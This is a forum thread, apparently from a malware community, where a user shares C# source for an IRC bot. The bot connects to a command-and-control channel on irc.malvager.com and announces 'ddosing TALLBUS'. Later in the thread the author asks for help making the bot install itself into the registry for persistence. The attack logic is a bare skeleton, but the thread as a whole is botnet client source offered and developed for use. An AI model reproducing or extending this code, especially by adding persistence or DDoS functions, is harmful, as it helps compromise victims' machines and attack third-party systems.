Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Top Posters

Who's Online (0)

Powered by Vanilla. Made with Bootstrap.
[C#] Xin Bot C [Source]
  • Xin
    Posts: 3,251
    using Microsoft.VisualBasic;
    using System;
    using System.Collections;
    using System.Collections.Generic;
    using System.Data;
    using System.Diagnostics;
    using System.IO;
    using System.Net.Sockets;
    using System.Threading;
    using System.Net;
    using Microsoft.Win32;


    static class ircconnect
    {
    public const string USER = \"xin:apse\";
    public static string NICK = \"[\" + \"test\" + \"]\";
    ////replace with your server port
    public static int PORT = 6667;
    /// Replace with your bot channel
    public static string CHANNEL = \"#C++\";
    // //replace with server address
    public static string SERVER = \"irc.malvager.com\";
    public static string ircLine;
    public static NetworkStream IRCstream;
    public static TcpClient irc;
    public static string inputLine;
    public static StreamReader IRCreader;
    public static StreamWriter IRCwriter;

    public static string targetip;



    public static void connect()
    {
    try
    {
    irc = new TcpClient(SERVER, PORT);
    IRCstream = irc.GetStream();
    IRCreader = new StreamReader(IRCstream);
    IRCwriter = new StreamWriter(IRCstream);
    IRCwriter.WriteLine(USER);
    IRCwriter.Flush();
    IRCwriter.WriteLine(\"NICK \" + NICK);
    IRCwriter.Flush();

    IRCwriter.WriteLine(\"JOIN \" + CHANNEL);
    IRCwriter.Flush();


    while (true)
    {
    while ((Inline(ref inputLine, IRCreader.ReadLine())) != null)
    {

    if (inputLine.Contains(\"HI\"))
    {
    IRCwriter.WriteLine(\"PRIVMSG \" + CHANNEL + \" :\" + \"ddosing TALLBUS\");
    IRCwriter.Flush();



    }




    IRCwriter.Flush();
    if (inputLine.Contains(\"HI\"))
    {
    IRCwriter.WriteLine(\"HEY\");
    }

    }
    IRCwriter.Close();
    IRCwriter.Close();
    irc.Close();

    }

    }
    catch (Exception e)
    {
    IRCwriter.WriteLine(\"PRIVMSG \" + CHANNEL + \" :\" + \"7 error : \" + e.ToString());
    IRCwriter.Flush();
    }
    }
    public static T Inline<T>(ref T target, T value)
    {
    target = value;
    return value;
    }
    }


    using Microsoft.VisualBasic;
    using System;
    using System.Collections;
    using System.Collections.Generic;
    using System.Data;
    using System.Diagnostics;
    using System.IO;
    using System.Net.Sockets;
    using System.Threading;
    using System.Net;
    using Microsoft.Win32;


    static class ircconnect1
    {

    public static Thread ircThread;



    public static void Main()
    {
    ircThread = new Thread(ircconnect.connect);
    ircThread.Start();

    }
    }
    Xin
  • Bursihido
    Posts: 406
    Thanks for share :)



    ...........tooshrt
  • Yay its not VB! I'm proud of you Xin :D
  • Xin
    Posts: 3,251
    Thanks xD , im having trouble coding the install to filesystem bit in C :S, i have it sorta working but not very well can you help me? It needs to be installed to registry
    Xin